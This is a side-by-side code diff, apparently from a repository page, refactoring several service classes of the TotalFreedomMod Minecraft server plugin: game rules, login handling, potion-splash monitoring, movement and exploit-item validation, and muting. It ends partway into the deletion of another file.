setGameRule(GameRule.DO_FIRE_TICK, ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean(), false); setGameRule(GameRule.DO_FIRE_TICK, ConfigEntry.ALLOW_FIRE_SPREAD.getBoolean(), false);
@ -37,11 +33,12 @@ public class GameRuleHandler extends FreedomService
setGameRule(GameRule.KEEP_INVENTORY, true, false); setGameRule(GameRule.KEEP_INVENTORY, true, false);
setGameRule(GameRule.ANNOUNCE_ADVANCEMENTS, false, false); setGameRule(GameRule.ANNOUNCE_ADVANCEMENTS, false, false);
setGameRule(GameRule.SHOW_DEATH_MESSAGES, false, false); setGameRule(GameRule.SHOW_DEATH_MESSAGES, false, false);
setGameRule(GameRule.SEND_COMMAND_FEEDBACK, false, false);
commitGameRules(); commitGameRules();
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -59,14 +56,12 @@ public class GameRuleHandler extends FreedomService
} }
} }
@SuppressWarnings("deprecation")
public void commitGameRules() public void commitGameRules()
{ {
List<World> worlds = Bukkit.getWorlds(); List<World> worlds = Bukkit.getWorlds();
Iterator<Map.Entry<GameRule, Boolean>> it = rules.entrySet().iterator(); for (Map.Entry<GameRule, Boolean> gameRuleEntry : rules.entrySet())
while (it.hasNext())
{ {
Map.Entry<GameRule, Boolean> gameRuleEntry = it.next();
String gameRuleName = gameRuleEntry.getKey().getGameRuleName(); String gameRuleName = gameRuleEntry.getKey().getGameRuleName();
String gameRuleValue = gameRuleEntry.getValue().toString(); String gameRuleValue = gameRuleEntry.getValue().toString();
@ -80,13 +75,11 @@ public class GameRuleHandler extends FreedomService
world.setTime(time + 24000 + 6000); world.setTime(time + 24000 + 6000);
} }
} }
} }
} }
public static enum GameRule public enum GameRule
{ {
DO_FIRE_TICK("doFireTick", true), DO_FIRE_TICK("doFireTick", true),
MOB_GRIEFING("mobGriefing", true), MOB_GRIEFING("mobGriefing", true),
KEEP_INVENTORY("keepInventory", false), KEEP_INVENTORY("keepInventory", false),
@ -97,12 +90,13 @@ public class GameRuleHandler extends FreedomService
NATURAL_REGENERATION("naturalRegeneration", true), NATURAL_REGENERATION("naturalRegeneration", true),
DO_DAYLIGHT_CYCLE("doDaylightCycle", true), DO_DAYLIGHT_CYCLE("doDaylightCycle", true),
ANNOUNCE_ADVANCEMENTS("announceAdvancements", false), ANNOUNCE_ADVANCEMENTS("announceAdvancements", false),
SHOW_DEATH_MESSAGES("showDeathMessages", false); SHOW_DEATH_MESSAGES("showDeathMessages", false),
// SEND_COMMAND_FEEDBACK("sendCommandFeedback", false);
private final String gameRuleName; private final String gameRuleName;
private final boolean defaultValue; private final boolean defaultValue;
private GameRule(String gameRuleName, boolean defaultValue) GameRule(String gameRuleName, boolean defaultValue)
{ {
this.gameRuleName = gameRuleName; this.gameRuleName = gameRuleName;
this.defaultValue = defaultValue; this.defaultValue = defaultValue;
@ -118,5 +112,4 @@ public class GameRuleHandler extends FreedomService
return defaultValue; return defaultValue;
} }
} }
}
}

View File

@ -10,7 +10,6 @@ import java.security.NoSuchProviderException;
import java.security.SecureRandom; import java.security.SecureRandom;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashMap; import java.util.HashMap;
import java.util.Iterator;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
@ -23,19 +22,13 @@ import org.bukkit.scheduler.BukkitRunnable;
public class LogViewer extends FreedomService public class LogViewer extends FreedomService
{ {
public LogViewer(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -137,10 +130,10 @@ public class LogViewer extends FreedomService
}.runTaskAsynchronously(plugin); }.runTaskAsynchronously(plugin);
} }
public static enum LogsRegistrationMode public enum LogsRegistrationMode
{ {
ADD, DELETE, VERIFY; ADD, DELETE, VERIFY
} }
private static class URLBuilder private static class URLBuilder
@ -163,10 +156,8 @@ public class LogViewer extends FreedomService
public URL getURL() throws MalformedURLException public URL getURL() throws MalformedURLException
{ {
List<String> pairs = new ArrayList<>(); List<String> pairs = new ArrayList<>();
Iterator<Map.Entry<String, String>> it = queryStringMap.entrySet().iterator(); for (Map.Entry<String, String> pair : queryStringMap.entrySet())
while (it.hasNext())
{ {
Map.Entry<String, String> pair = it.next();
try try
{ {
pairs.add(URLEncoder.encode(pair.getKey(), "UTF-8") + "=" + URLEncoder.encode(pair.getValue(), "UTF-8")); pairs.add(URLEncoder.encode(pair.getKey(), "UTF-8") + "=" + URLEncoder.encode(pair.getValue(), "UTF-8"));

View File

@ -1,15 +1,12 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import io.papermc.lib.PaperLib;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import lombok.Getter;
import lombok.Setter;
import me.totalfreedom.totalfreedommod.command.Command_vanish;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilder;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.playerverification.VPlayer; import me.totalfreedom.totalfreedommod.player.PlayerData;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FSync; import me.totalfreedom.totalfreedommod.util.FSync;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
@ -22,34 +19,36 @@ import org.bukkit.event.player.AsyncPlayerPreLoginEvent;
import org.bukkit.event.player.PlayerJoinEvent; import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.event.player.PlayerLoginEvent; import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.scheduler.BukkitRunnable;
import me.rayzr522.jsonmessage.JSONMessage; import org.bukkit.scheduler.BukkitTask;
public class LoginProcess extends FreedomService public class LoginProcess extends FreedomService
{ {
public static final int DEFAULT_PORT = 25565; public static final int DEFAULT_PORT = 25565;
public static final int MIN_USERNAME_LENGTH = 2; public static final int MIN_USERNAME_LENGTH = 2;
public static final int MAX_USERNAME_LENGTH = 20; public static final int MAX_USERNAME_LENGTH = 20;
public static final Pattern USERNAME_REGEX = Pattern.compile("^[\\w\\d_]{3,20}$"); public static final Pattern USERNAME_REGEX = Pattern.compile("^[\\w\\d_]{3,20}$");
private static boolean lockdownEnabled = false;
public List<String> TELEPORT_ON_JOIN = new ArrayList<>(); public List<String> TELEPORT_ON_JOIN = new ArrayList<>();
public List<String> CLEAR_ON_JOIN = new ArrayList<>(); public List<String> CLEAR_ON_JOIN = new ArrayList<>();
// public List<String> CLOWNFISH_TOGGLE = new ArrayList<>();
@Getter
@Setter
private static boolean lockdownEnabled = false;
public LoginProcess(TotalFreedomMod plugin) public static boolean isLockdownEnabled()
{ {
super(plugin); return lockdownEnabled;
}
public static void setLockdownEnabled(boolean lockdownEnabled)
{
LoginProcess.lockdownEnabled = lockdownEnabled;
} }
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -120,11 +119,8 @@ public class LoginProcess extends FreedomService
} }
} }
// Check if player is admin
final boolean isAdmin = plugin.al.getEntryByIp(ip) != null;
// Validation below this point // Validation below this point
if (isAdmin) // Player is admin if (plugin.al.getEntryByIp(ip) != null) // Check if player is admin
{ {
// Force-allow log in // Force-allow log in
event.allow(); event.allow();
@ -184,7 +180,6 @@ public class LoginProcess extends FreedomService
if (!plugin.si.getWhitelisted().contains(username.toLowerCase())) if (!plugin.si.getWhitelisted().contains(username.toLowerCase()))
{ {
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "You are not whitelisted on this server."); event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "You are not whitelisted on this server.");
return;
} }
} }
} }
@ -194,23 +189,45 @@ public class LoginProcess extends FreedomService
{ {
final Player player = event.getPlayer(); final Player player = event.getPlayer();
final FPlayer fPlayer = plugin.pl.getPlayer(player); final FPlayer fPlayer = plugin.pl.getPlayer(player);
final VPlayer verificationPlayer = plugin.pv.getVerificationPlayer(player); final PlayerData playerData = plugin.pl.getData(player);
// Sends a message to the player if they have never joined before (or simply lack player data).
if (!event.getPlayer().hasPlayedBefore() && ConfigEntry.FIRST_JOIN_INFO_ENABLED.getBoolean())
{
new BukkitRunnable()
{
@Override
public void run()
{
for (String line : ConfigEntry.FIRST_JOIN_INFO.getStringList())
{
player.sendMessage(FUtil.colorize(line));
}
}
}.runTaskLater(plugin, 20);
}
player.sendTitle(FUtil.colorize(ConfigEntry.SERVER_LOGIN_TITLE.getString()), FUtil.colorize(ConfigEntry.SERVER_LOGIN_SUBTITLE.getString()), 20, 100, 60); player.sendTitle(FUtil.colorize(ConfigEntry.SERVER_LOGIN_TITLE.getString()), FUtil.colorize(ConfigEntry.SERVER_LOGIN_SUBTITLE.getString()), 20, 100, 60);
player.setOp(true); player.setOp(true);
if (TELEPORT_ON_JOIN.contains(player.getName())) if (TELEPORT_ON_JOIN.contains(player.getName()) || ConfigEntry.AUTO_TP.getBoolean())
{ {
int x = FUtil.randomInteger(-10000, 10000); int x = FUtil.randomInteger(-10000, 10000);
int z = FUtil.randomInteger(-10000, 10000); int z = FUtil.randomInteger(-10000, 10000);
int y = player.getWorld().getHighestBlockYAt(x, z); int y = player.getWorld().getHighestBlockYAt(x, z);
Location location = new Location(player.getLocation().getWorld(), x, y, z); Location location = new Location(player.getLocation().getWorld(), x, y, z);
player.teleport(location); PaperLib.teleportAsync(player, location);
player.sendMessage(ChatColor.AQUA + "You have been teleported to a random location automatically."); player.sendMessage(ChatColor.AQUA + "You have been teleported to a random location automatically.");
return; return;
} }
if (CLEAR_ON_JOIN.contains(player.getName())) if (!playerData.hasVerification() && !playerData.getIps().contains(FUtil.getIp(player)))
{
playerData.addIp(FUtil.getIp(player));
plugin.pl.save(playerData);
}
if (CLEAR_ON_JOIN.contains(player.getName()) || ConfigEntry.AUTO_CLEAR.getBoolean())
{ {
player.getInventory().clear(); player.getInventory().clear();
player.sendMessage(ChatColor.AQUA + "Your inventory has been cleared automatically."); player.sendMessage(ChatColor.AQUA + "Your inventory has been cleared automatically.");
@ -227,47 +244,21 @@ public class LoginProcess extends FreedomService
player.setPlayerListFooter(FUtil.colorize(ConfigEntry.SERVER_TABLIST_FOOTER.getString()).replace("\\n", "\n")); player.setPlayerListFooter(FUtil.colorize(ConfigEntry.SERVER_TABLIST_FOOTER.getString()).replace("\\n", "\n"));
} }
for (Player p : plugin.al.vanished)
{
if (!plugin.al.isAdmin(player))
{
player.hidePlayer(plugin, p);
}
}
if (!plugin.al.isAdmin(player)) if (!plugin.al.isAdmin(player))
{ {
if (plugin.mbl.isMasterBuilder(player)) String tag = playerData.getTag();
if (tag != null)
{ {
MasterBuilder masterBuilder = plugin.mbl.getMasterBuilder(player); fPlayer.setTag(FUtil.colorize(tag));
if (masterBuilder.getTag() != null)
{
fPlayer.setTag(FUtil.colorize(masterBuilder.getTag()));
}
} }
else
int noteCount = playerData.getNotes().size();
if (noteCount != 0)
{ {
VPlayer vPlayer = plugin.pv.getVerificationPlayer(player); String noteMessage = "This player has " + noteCount + " admin note" + (noteCount > 1 ? "s" : "") + ".";
if (vPlayer.getEnabled() && vPlayer.getTag() != null) FLog.info(noteMessage);
{ plugin.al.messageAllAdmins(ChatColor.GOLD + noteMessage);
fPlayer.setTag(FUtil.colorize(vPlayer.getTag())); plugin.al.messageAllAdmins(ChatColor.GOLD + "Do " + ChatColor.YELLOW + "/notes " + player.getName() + " list" + ChatColor.GOLD + " to view them.");
}
int noteCount = vPlayer.getNotes().size();
if (noteCount != 0)
{
String noteMessage = "This player has " + noteCount + " staff note" + (noteCount > 1 ? "s" : "") + ".";
JSONMessage notice = JSONMessage.create(ChatColor.GOLD + noteMessage + " Click here to view them.")
.tooltip("Click here to view them.")
.runCommand("/notes " + player.getName() + " list");
FLog.info(noteMessage);
for (Player p : server.getOnlinePlayers())
{
if (plugin.al.isAdminImpostor(p))
{
notice.send(p);
}
}
}
} }
} }
@ -286,7 +277,6 @@ public class LoginProcess extends FreedomService
FUtil.playerMsg(player, "Warning: Server is currenty in lockdown-mode, new players will not be able to join!", ChatColor.RED); FUtil.playerMsg(player, "Warning: Server is currenty in lockdown-mode, new players will not be able to join!", ChatColor.RED);
} }
} }
}.runTaskLater(plugin, 20L * 1L); }.runTaskLater(plugin, 20L);
} }
}
}

View File

@ -1,61 +1,84 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import java.text.DecimalFormat; import java.util.AbstractMap;
import me.totalfreedom.totalfreedommod.util.FUtil; import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.entity.ThrownPotion;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
import org.bukkit.event.entity.LingeringPotionSplashEvent; import org.bukkit.event.entity.LingeringPotionSplashEvent;
import org.bukkit.event.entity.PotionSplashEvent; import org.bukkit.event.entity.PotionSplashEvent;
import org.bukkit.projectiles.ProjectileSource; import org.bukkit.potion.PotionEffect;
import org.bukkit.potion.PotionEffectType;
public class Monitors extends FreedomService public class Monitors extends FreedomService
{ {
private final List<Map.Entry<ThrownPotion, Long>> allThrownPotions = new ArrayList<>();
private final Map<Player, List<ThrownPotion>> recentlyThrownPotions = new HashMap<>();
private final List<PotionEffectType> badPotionEffects = new ArrayList<>(Arrays.asList(PotionEffectType.BLINDNESS,
PotionEffectType.LEVITATION, PotionEffectType.CONFUSION, PotionEffectType.SLOW, PotionEffectType.SLOW_DIGGING, PotionEffectType.HUNGER)); // A list of all effects that count as "troll".
private final DecimalFormat decimalFormat = new DecimalFormat("#"); @Override
private String potionSpyPrefix = ChatColor.DARK_GRAY + "[" + ChatColor.YELLOW + "PotionSpy" + ChatColor.DARK_GRAY + "] "; public void onStart()
public Monitors(TotalFreedomMod plugin)
{ {
super(plugin); Bukkit.getScheduler().scheduleSyncRepeatingTask(plugin, () ->
{
for (Player player : recentlyThrownPotions.keySet())
{
List<ThrownPotion> playerThrownPotions = recentlyThrownPotions.get(player);
ThrownPotion latestThrownPotion = playerThrownPotions.get(playerThrownPotions.size() - 1); // Get most recently thrown potion for the position.
int potionsThrown = playerThrownPotions.size();
int trollPotions = 0;
for (ThrownPotion potion : playerThrownPotions)
{
if (isTrollPotion(potion))
{
trollPotions++;
}
}
plugin.al.potionSpyMessage(ChatColor.translateAlternateColorCodes('&', String.format("&8[&ePotionSpy&8] &r%s splashed %s %s at X: %s Y: %s Z: %s in the world '%s'%s.",
player.getName(), potionsThrown, potionsThrown == 1 ? "potion" : "potions", latestThrownPotion.getLocation().getBlockX(), latestThrownPotion.getLocation().getBlockY(), latestThrownPotion.getLocation().getBlockZ(),
latestThrownPotion.getWorld().getName(), trollPotions > 0 ? String.format(" &c(most likely troll %s)", trollPotions == 1 ? "potion" : "potions") : "")));
}
recentlyThrownPotions.clear();
}, 0L, 40L);
} }
@Override @Override
protected void onStart() public void onStop()
{
}
@Override
protected void onStop()
{ {
} }
@EventHandler(priority = EventPriority.MONITOR) @EventHandler(priority = EventPriority.MONITOR)
public void onLingeringPotionSplash(LingeringPotionSplashEvent event) public void onLingeringPotionSplash(LingeringPotionSplashEvent event)
{ {
ProjectileSource source = event.getEntity().getShooter(); if (event.getEntity().getShooter() instanceof Player)
if (!(source instanceof Player))
{ {
return; ThrownPotion potion = event.getEntity();
} if (potion.getShooter() instanceof Player)
Player player = (Player)source;
if (plugin.al.isAdmin((Player)event.getEntity().getShooter()))
{
return;
}
final Material droppedItem = event.getEntity().getItem().getType();
final Location location = player.getLocation();
for (Player p : server.getOnlinePlayers())
{
if (plugin.al.isAdmin(p) && plugin.al.getAdmin(p).getPotionSpy())
{ {
FUtil.playerMsg(p, potionSpyPrefix + ChatColor.WHITE + player.getName() + " splashed " + event.getEntity().getItem().getAmount() + " " + droppedItem + " at X: " + decimalFormat.format(location.getX()) + ", Y: " + decimalFormat.format(location.getY()) + ", Z: " + decimalFormat.format(location.getZ()) + ", in the world '" + location.getWorld().getName() + "'."); Player player = (Player)potion.getShooter();
recentlyThrownPotions.putIfAbsent(player, new ArrayList<>());
recentlyThrownPotions.get(player).add(potion);
allThrownPotions.add(new AbstractMap.SimpleEntry<>(potion, System.currentTimeMillis()));
if (recentlyThrownPotions.get(player).size() > 128)
{
recentlyThrownPotions.get(player).remove(0);
}
if (allThrownPotions.size() > 1024)
{
allThrownPotions.remove(0); // Remove the first element in the set.
}
} }
} }
} }
@ -63,27 +86,72 @@ public class Monitors extends FreedomService
@EventHandler(priority = EventPriority.MONITOR) @EventHandler(priority = EventPriority.MONITOR)
public void onPotionSplash(PotionSplashEvent event) public void onPotionSplash(PotionSplashEvent event)
{ {
ProjectileSource source = event.getEntity().getShooter(); if (event.getEntity().getShooter() instanceof Player)
if (!(source instanceof Player))
{ {
return; ThrownPotion potion = event.getEntity();
} if (potion.getShooter() instanceof Player)
Player player = (Player)source;
if (plugin.al.isAdmin((Player)event.getEntity().getShooter()))
{
return;
}
final Material droppedItem = event.getPotion().getItem().getType();
final Location location = player.getLocation();
for (Player p : server.getOnlinePlayers())
{
if (plugin.al.isAdmin(p) && plugin.al.getAdmin(p).getPotionSpy())
{ {
FUtil.playerMsg(p, potionSpyPrefix + ChatColor.WHITE + player.getName() + " splashed " + event.getEntity().getItem().getAmount() + " " + droppedItem + " at X: " + decimalFormat.format(location.getX()) + ", Y: " + decimalFormat.format(location.getY()) + ", Z: " + decimalFormat.format(location.getZ()) + ", in the world '" + location.getWorld().getName() + "'."); Player player = (Player)potion.getShooter();
recentlyThrownPotions.putIfAbsent(player, new ArrayList<>());
recentlyThrownPotions.get(player).add(potion);
allThrownPotions.add(new AbstractMap.SimpleEntry<>(potion, System.currentTimeMillis()));
if (recentlyThrownPotions.get(player).size() > 128)
{
recentlyThrownPotions.get(player).remove(0);
}
if (allThrownPotions.size() > 1024)
{
allThrownPotions.remove(0); // Remove the first element in the set.
}
} }
} }
} }
public List<Map.Entry<ThrownPotion, Long>> getPlayerThrownPotions(Player player)
{
List<Map.Entry<ThrownPotion, Long>> thrownPotions = new ArrayList<>();
for (Map.Entry<ThrownPotion, Long> potionEntry : allThrownPotions)
{
ThrownPotion potion = potionEntry.getKey();
if (potion.getShooter() != null && potion.getShooter().equals(player))
{
thrownPotions.add(potionEntry);
}
}
return thrownPotions;
}
public boolean isTrollPotion(ThrownPotion potion)
{
int badEffectsDetected = 0;
for (PotionEffect effect : potion.getEffects())
{
if (badPotionEffects.contains(effect.getType()) && effect.getAmplifier() > 2 && effect.getDuration() > 200)
{
badEffectsDetected++;
}
}
return badEffectsDetected > 0;
}
public List<Map.Entry<ThrownPotion, Long>> getAllThrownPotions()
{
return allThrownPotions;
}
public Map<Player, List<ThrownPotion>> getRecentlyThrownPotions()
{
return recentlyThrownPotions;
}
public List<PotionEffectType> getBadPotionEffects()
{
return badPotionEffects;
}
} }

View File

@ -1,16 +1,16 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import ca.momothereal.mojangson.ex.MojangsonParseException; import com.google.common.collect.Multimap;
import ca.momothereal.mojangson.value.MojangsonCompound; import io.papermc.lib.PaperLib;
import ca.momothereal.mojangson.value.MojangsonValue;
import java.util.List; import java.util.Collection;
import java.util.Map;
import java.util.Objects; import java.util.Objects;
import net.minecraft.server.v1_15_R1.NBTTagCompound;
import net.minecraft.server.v1_15_R1.NBTTagList;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.Location; import org.bukkit.Location;
import org.bukkit.Material; import org.bukkit.Material;
import org.bukkit.craftbukkit.v1_15_R1.inventory.CraftItemStack; import org.bukkit.attribute.Attribute;
import org.bukkit.attribute.AttributeModifier;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler; import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority; import org.bukkit.event.EventPriority;
@ -19,7 +19,7 @@ import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.event.player.PlayerMoveEvent; import org.bukkit.event.player.PlayerMoveEvent;
import org.bukkit.event.player.PlayerTeleportEvent; import org.bukkit.event.player.PlayerTeleportEvent;
import org.bukkit.inventory.ItemStack; import org.bukkit.inventory.ItemStack;
import org.jetbrains.annotations.NotNull; import org.bukkit.inventory.meta.ItemMeta;
public class MovementValidator extends FreedomService public class MovementValidator extends FreedomService
{ {
@ -27,18 +27,13 @@ public class MovementValidator extends FreedomService
public static final int MAX_XYZ_COORD = 29999998; public static final int MAX_XYZ_COORD = 29999998;
public static final int MAX_DISTANCE_TRAVELED = 100; public static final int MAX_DISTANCE_TRAVELED = 100;
public MovementValidator(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -46,7 +41,7 @@ public class MovementValidator extends FreedomService
public void onPlayerTeleport(PlayerTeleportEvent event) public void onPlayerTeleport(PlayerTeleportEvent event)
{ {
// Check absolute value to account for negatives // Check absolute value to account for negatives
if (Math.abs(event.getTo().getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD) if (Math.abs(Objects.requireNonNull(event.getTo()).getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD)
{ {
event.setCancelled(true); // illegal position, cancel it event.setCancelled(true); // illegal position, cancel it
} }
@ -58,6 +53,7 @@ public class MovementValidator extends FreedomService
final Player player = event.getPlayer(); final Player player = event.getPlayer();
Location from = event.getFrom(); Location from = event.getFrom();
Location to = event.getTo(); Location to = event.getTo();
assert to != null;
if (to.getX() >= from.getX() + MAX_DISTANCE_TRAVELED || to.getY() >= from.getY() + MAX_DISTANCE_TRAVELED || to.getZ() >= from.getZ() + MAX_DISTANCE_TRAVELED) if (to.getX() >= from.getX() + MAX_DISTANCE_TRAVELED || to.getY() >= from.getY() + MAX_DISTANCE_TRAVELED || to.getZ() >= from.getZ() + MAX_DISTANCE_TRAVELED)
{ {
event.setCancelled(true); event.setCancelled(true);
@ -67,7 +63,7 @@ public class MovementValidator extends FreedomService
if (Math.abs(event.getTo().getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD) if (Math.abs(event.getTo().getX()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XYZ_COORD || Math.abs(event.getTo().getY()) >= MAX_XYZ_COORD)
{ {
event.setCancelled(true); event.setCancelled(true);
player.teleport(player.getWorld().getSpawnLocation()); PaperLib.teleportAsync(player, player.getWorld().getSpawnLocation());
} }
if (exploitItem(event.getPlayer().getInventory().getHelmet())) if (exploitItem(event.getPlayer().getInventory().getHelmet()))
@ -116,7 +112,7 @@ public class MovementValidator extends FreedomService
// Validate position // Validate position
if (Math.abs(player.getLocation().getX()) >= MAX_XYZ_COORD || Math.abs(player.getLocation().getZ()) >= MAX_XYZ_COORD || Math.abs(player.getLocation().getY()) >= MAX_XYZ_COORD) if (Math.abs(player.getLocation().getX()) >= MAX_XYZ_COORD || Math.abs(player.getLocation().getZ()) >= MAX_XYZ_COORD || Math.abs(player.getLocation().getY()) >= MAX_XYZ_COORD)
{ {
player.teleport(player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn PaperLib.teleportAsync(player, player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn
} }
} }
@ -137,56 +133,49 @@ public class MovementValidator extends FreedomService
private Boolean exploitItem(ItemStack item) private Boolean exploitItem(ItemStack item)
{ {
net.minecraft.server.v1_15_R1.ItemStack nmsStack = CraftItemStack.asNMSCopy(item); if (item == null)
NBTTagList modifiers = getAttributeList(nmsStack);
MojangsonCompound compound = new MojangsonCompound();
boolean foundNegative = false;
boolean foundPositive = false;
try
{ {
String mod = modifiers.toString(); return false;
String fancy = ("{" + (mod.substring(1, mod.length() - 1).replace("{", "").replace("}", "")) + "}"); }
compound.read(fancy);
for (String key : compound.keySet()) ItemMeta meta = item.getItemMeta();
if (meta != null)
{
Multimap<Attribute, AttributeModifier> attributes = meta.getAttributeModifiers();
if (attributes != null)
{ {
if (Objects.equals(key, "Amount")) //null-safe .equals() Map<Attribute, Collection<AttributeModifier>> attrMap = attributes.asMap();
// For every attribute...
for (Attribute attr : attributes.keySet())
{ {
List<MojangsonValue> values = compound.get(key); // Default values
for (MojangsonValue val : values) boolean posInf = false;
boolean negInf = false;
// For every AttributeModifier...
for (AttributeModifier modifier : attrMap.get(attr))
{ {
if (val.getValue().toString().equals("Infinityd")) // Are they ∞ or -∞?
if (modifier.getAmount() == Double.POSITIVE_INFINITY)
{ {
foundPositive = true; posInf = true;
} }
if (val.getValue().toString().equals("-Infinityd")) else if (modifier.getAmount() == Double.NEGATIVE_INFINITY)
{ {
foundNegative = true; negInf = true;
} }
} }
// Are both values set as true?
if (posInf && negInf)
{
return true;
}
} }
} }
} }
catch (MojangsonParseException e) return false;
{
e.printStackTrace();
}
return foundNegative && foundPositive;
} }
}
private NBTTagList getAttributeList(net.minecraft.server.v1_15_R1.ItemStack stack)
{
if (stack.getTag() == null)
{
stack.setTag(new NBTTagCompound());
}
NBTTagList attr = stack.getTag().getList("AttributeModifiers", 10);
if (attr == null)
{
stack.getTag().set("AttributeModifiers", new NBTTagList());
}
return stack.getTag().getList("AttributeModifiers", 10);
}
}

View File

@ -1,13 +1,11 @@
package me.totalfreedom.totalfreedommod; package me.totalfreedom.totalfreedommod;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; import java.util.List;
import me.totalfreedom.totalfreedommod.config.ConfigEntry; import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FSync; import me.totalfreedom.totalfreedommod.util.FSync;
import org.apache.commons.lang.StringUtils;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
import org.bukkit.command.Command; import org.bukkit.command.Command;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@ -20,25 +18,19 @@ import org.bukkit.event.player.PlayerJoinEvent;
public class Muter extends FreedomService public class Muter extends FreedomService
{ {
public static final List<String> MUTE_COMMANDS = Arrays.asList(StringUtils.split("say,me,msg,tell,reply,mail", ",")); public final List<String> MUTED_PLAYERS = new ArrayList<>();
public final List<String> MUTED_PLAYERS = new ArrayList();
public Muter(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@EventHandler(priority = EventPriority.LOW) @EventHandler(priority = EventPriority.HIGHEST)
public void onAsyncPlayerChatEvent(AsyncPlayerChatEvent event) public void onAsyncPlayerChatEvent(AsyncPlayerChatEvent event)
{ {
Player player = event.getPlayer(); Player player = event.getPlayer();
@ -57,14 +49,7 @@ public class Muter extends FreedomService
return; return;
} }
if (fPlayer.isQuietMuted()) FSync.playerMsg(event.getPlayer(), ChatColor.RED + "You are muted.");
{
FSync.playerMsg(event.getPlayer(), event.getFormat());
event.setCancelled(true);
return;
}
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "You are muted, STFU! - You will be unmuted in 5 minutes.");
event.setCancelled(true); event.setCancelled(true);
} }
@ -100,7 +85,7 @@ public class Muter extends FreedomService
cmdName = command.getName().toLowerCase(); cmdName = command.getName().toLowerCase();
} }
if (MUTE_COMMANDS.contains(cmdName)) if (ConfigEntry.MUTED_BLOCKED_COMMANDS.getStringList().contains(cmdName))
{ {
player.sendMessage(ChatColor.RED + "That command is blocked while you are muted."); player.sendMessage(ChatColor.RED + "That command is blocked while you are muted.");
event.setCancelled(true); event.setCancelled(true);
@ -125,6 +110,4 @@ public class Muter extends FreedomService
playerdata.setMuted(true); playerdata.setMuted(true);
} }
} }
}
}

View File

@ -9,19 +9,13 @@ import org.bukkit.util.Vector;
public class Orbiter extends FreedomService public class Orbiter extends FreedomService
{ {
public Orbiter(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }

View File

@ -1,397 +0,0 @@
package me.totalfreedom.totalfreedommod;
import com.google.common.collect.Maps;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import java.util.UUID;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.World;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
